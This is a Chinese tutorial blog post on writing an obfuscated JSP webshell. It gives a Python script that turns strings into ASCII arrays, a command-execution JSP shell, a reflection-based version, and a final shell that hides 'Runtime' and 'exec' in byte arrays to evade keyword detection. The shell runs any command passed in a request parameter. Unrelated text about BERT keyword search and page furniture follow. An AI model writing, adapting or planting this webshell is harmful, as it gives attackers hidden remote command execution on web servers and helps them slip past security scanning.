简单的jsp无关键字一句话

通过ascii码与字符之间的转换,加上通过反射加载类,实现无关键字一句话

py脚本script_str2ascii

首先写一个简单的py脚本,转换命令为byte数组

cmd=input("input code")
arr=[]
for char in cmd:
    arr.append(ord(char))
print(arr)
开始

接下来找一个简单的小马,进行改造

<%
    String cmd = request.getParameter("cmd");
    StringBuffer res = new StringBuffer();
    //加一个系统的判断
    String os = System.getProperty("os.name");
    boolean isWin = false;
    BufferedReader bufferedReader;
    if (os != null && os.toLowerCase().startsWith("windows")) {
        isWin = true;
    }
    try {
        if (isWin == false) {
            bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        } else {
            bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("cmd /C " + cmd).getInputStream()));
        }

        String len;
        while ((len = bufferedReader.readLine()) != null) {
            res.append(len + "\n");
        }

    } catch (Exception e) {
        res.append(e.getMessage());

    }
   out.print("<pre>" + res.toString() + "</pre>");
%>

通过反射改变获取类并执行的方式

主要目的是将runtime相关的类和函数通过反射进行修改

<%Class<?> aClass = Class.forName("java.lang.Runtime");//这个forName加载类的时候会执行类内的静态代码块
    Method method = aClass.getMethod("getRuntime");
    Object o = method.invoke(null);//这里获取到runtime类
    Method method1 = aClass.getMethod("exec", String.class);
    method1.invoke(o,"calc");
%>

有两点值得说一下
1.使用forName加载类会执行静态代码块,由于Runtime类是单例设计模式,所以执行静态代码块之后getRuntime方法才能拿到Runtime类的实例
2.method.invoke(null)可以传递null的原因是该方法为静态方法,可以这样理解---------静态方法会给所有实例共享,所以不需要传递哪个具体的实例进去,于是传递个null就行了

通过反射加载runtime类的方式可行,并且成功弹出了计算器

接下来通过ascii数组,替换其中比较敏感的字符串

上面那个小马里面别的不关键的东西懒得写了…

这里可以使用byte数组,原因是当前涉及到的字符串中的所有字符ascii码均在127以下

加入byte数组

通过byte数组修饰以下关键字

<%
    byte[] a={106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
    Class<?> aClass = Class.forName(new String(a));//这个forName加载类的时候会执行类内的静态代码块
    byte[] b={103, 101, 116, 82, 117, 110, 116, 105, 109, 101};
    Method method = aClass.getMethod(new String(b));
    Object o = method.invoke(null);//这里获取到runtime类
    byte[] c={101, 120, 101, 99};
    Method method1 = aClass.getMethod(new String(c), String.class);
    method1.invoke(o,request.getParameter("haha"));
%>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 你可以使用 BERT 模型预测一句话中最可能出现的关键字。首先,你需要准备好训练好的 BERT 模型和输入数据,然后使用如下步骤进行搜索: 1. 将输入数据转换成 BERT 能够处理的格式,例如将文本转换成 BERT 输入所需的 ID 序列。 2. 使用 BERT 模型对输入数据进行编码,得到输入句子的表示向量。 3. 使用表示向量作为输入,调用搜索引擎的 API,获取搜索结果。 4. 对搜索结果进行处理,提取出关键字。 这是一个大致的流程,具体实现过程可能会有所不同。希望这对你有帮助。 ### 回答2: 使用BERT搜索一句话关键字有以下几个步骤: 1. 数据预处理:将待搜索的句子进行分词,并添加特殊的标记符号,如[CLS]和[SEP]。同时,将句子转化为数字序列,以便输入BERT模型。 2. 输入编码:将预处理后的句子输入BERT模型,得到句子中每个词的词向量表示。 3. 关键字提取:通过计算句子中每个词的向量表示与一个预训练好的关键字向量之间的相似度,来确定关键字。 4. 相似度计算:常用的相似度计算方法包括余弦相似度和欧式距离。可以选择一个适合自己任务的相似度计算方法。 5. 关键字排序:根据相似度的大小,对关键字进行排序,得到搜索结果。也可以设置一个阈值,只保留相似度高于阈值的关键字。 以上是使用BERT搜索一句话关键字的基本步骤。值得注意的是,BERT模型需要大量的计算资源和较长的训练时间,在使用之前需要先进行预训练,并在特定任务上进行微调。此外,还可以结合其他算法和技术进行优化,以提升搜索的准确性和效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值